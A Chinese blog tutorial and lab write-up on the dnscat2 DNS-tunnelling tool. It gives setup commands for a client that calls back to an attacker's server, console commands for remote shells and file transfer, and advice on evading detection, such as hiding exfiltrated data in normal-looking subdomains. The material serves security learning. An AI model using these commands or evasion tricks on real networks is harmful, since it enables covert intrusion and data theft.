内网隧道之dnscat2

2022-09-29 21:14:57 浏览数 (1)


内网隧道之dnscat2

前言

本文研究DNS隧道的一个工具,dnscat2

github:https://github.com/iagox86/dnscat2

一、概述

1、简介

最后更新于2020年,客户端是用 C 编写的,服务器是用 ruby 编写

IP over DNS,通过 DNS 协议创建加密的命令和控制 (C&C) 通道,直接运行工具即可实现数据传输、文件操作等命令和控制功能

  • 利用合法DNS服务器实现DNS隧道
  • C/S(dnscat/ dnscat2.rb)结构
  • 默认混合使用TXT、CNAME、MX记录加密(base64)传输数据
  • 支持直连/中继
  • 提供好多命令和服务

2、原理

DNS原理见:一文搞明白DNS与域名解析

客户端:

在受感染的计算机上运行。C语言编写的,具有最小可能的依赖性。

运行模式如大多DNS隧道工具一样:Dnscat2客户端->DNS服务商->Dnscat2服务端。

如果没有购买域名,还可以在UDP/53上使用直连。它们会更快,但它在数据包中更明显,防火墙经常会阻止此模式

服务端:

Ruby语言编写,在服务器上运行。它除了监听在UDP/53上发送给它的消息之外,还要指定它应该监听哪个域名。

当它接收其中一个域名的流量时,它会尝试建立DNS连接。如果它接收到其他流量,它默认忽略它,当然你也可以在上游转发它。

3、用法

(1)服务端

安装

代码语言:javascript复制
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/server/
$ gem install bundler
$ bundle install

使用

代码语言:javascript复制
#启动
sudo ruby./dnscat2.rb abc.com --secret=123456   # abc.com 自定义DNS传输的域名;--secret 自定义连接密码
sudo ruby./dnscat2.rb --dns host=127.0.0.1,port=533 --secret=123456   #设置监听端口
sudo ruby./dnscat2.rb abc.com --secret=123456 --security=open --no-cache   #--security 规定了安全级别;--no-cache 禁止缓存

(2)客户端

安装

代码语言:javascript复制
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/client/
$ make

使用

代码语言:javascript复制
dnscat --secret=123456 abc.com 
dnscat --dns server=<your dnscat2 server ip>,port=553 --secret=123456   

(3)使用隧道

内置了很多服务

服务端的控制台输入:windows,即可以看到一个客户端上线:

代码语言:javascript复制
1 :: command (DESKTOP-7NSDT5)……

1表示该客户端ID,如果使用window -i 1,即可进入该通道;

键入shell,即可得到一个半交互shell!(功能有点强)

help可查看控制台支持的命令,常用的有:

代码语言:javascript复制
quit (退出控制台)
kill <id> (中断通道)
set(设值,比如设置security=open)
windows(列举出所有的通道)
window -i <id>(连接某个通道)

连接通道后,使用help同样可以看到其内支持的命令(单个命令后跟-h也会解释该命令):

代码语言:javascript复制
clear(清屏)
delay(修改远程会话超时时间)
exec(执行远程机上的程序)
shell(得到一个反弹shell)
download/upload(两端之间上传下载文件)
supend(返回到上一层,等于快捷键ctrl z)

二、实践

1、测试场景

(1)攻击机

Kali2021 192.168.10.128

(2)DNS服务器

windows server 2008 :192.168.10.200

设置静态IP,参见https://blog.csdn.net/pockeyfan/article/details/42063683

新建A记录,指向服务端kali

新建一个委托(即NS记录)指向刚刚设定的A记录的域名

再建一个A记录指向windows server自己

(3)目标机

Ubuntu 18.04 192.168.10.129

由于模拟的是DNS服务器是真正的权威服务器,即目标机应该能DNS解析到DNS服务器,所以要把目标机的DNS解析改下

nslookup检测下

2、建立隧道

(1)服务端

安装

代码语言:javascript复制
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/server/
$ gem install bundler
$ bundle install
代码语言:javascript复制
启动

(2)客户端

安装

代码语言:javascript复制
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/client/
$ make
代码语言:javascript复制
启动

(3)使用

在创建的window 1 中可以进行下步命令 dnscat提供了大量命令,用可以获取,这里展示一个shell

3、抓包看看

建立隧道

心跳包,CNAME、TXT、MX混用,但是域名是异常域名

三、探索

1、源码与分析

TODO

2、检测与绕过

(1)特征字符串

工具作者的恶趣味,内容里加了个dnscat

绕过方法:删掉即可

(2)异常DNS数据包数量

虽然将命令放在了心跳包里,没有造成某时刻的密集数据包,但是总的数据包数量还是大于正常的,且心跳包的间隔也是个问题

绕过方法:心跳包间隔拉长,甚至随机;数据包数量换UDP socket重新建立

(3)异常域名

所有包的域名都很异常,可以通过长度、熵等办法检测

绕过方法:心跳包用正常域名,命令可以base64后拆分

比如现在要把一个文件名 finalexamanswer.doc 传出去

base64 一下 -> ZmluYWxleGFtYW5zd2VyLmRvYw

然后编码常用域名,变成 Zm -> zone.music.domain,lu -> login.user.domain,YW``yun.web.domain …

(4)特殊记录类型

虽然已经TXT、MX、CNAME混用了,但还是有点特殊

绕过办法:加入A和AAAA混合

结语

dnscat2将C2直接写进了工具中,这很厉害,同时也很有可能带来更多特征


红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员,下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。

0 人点赞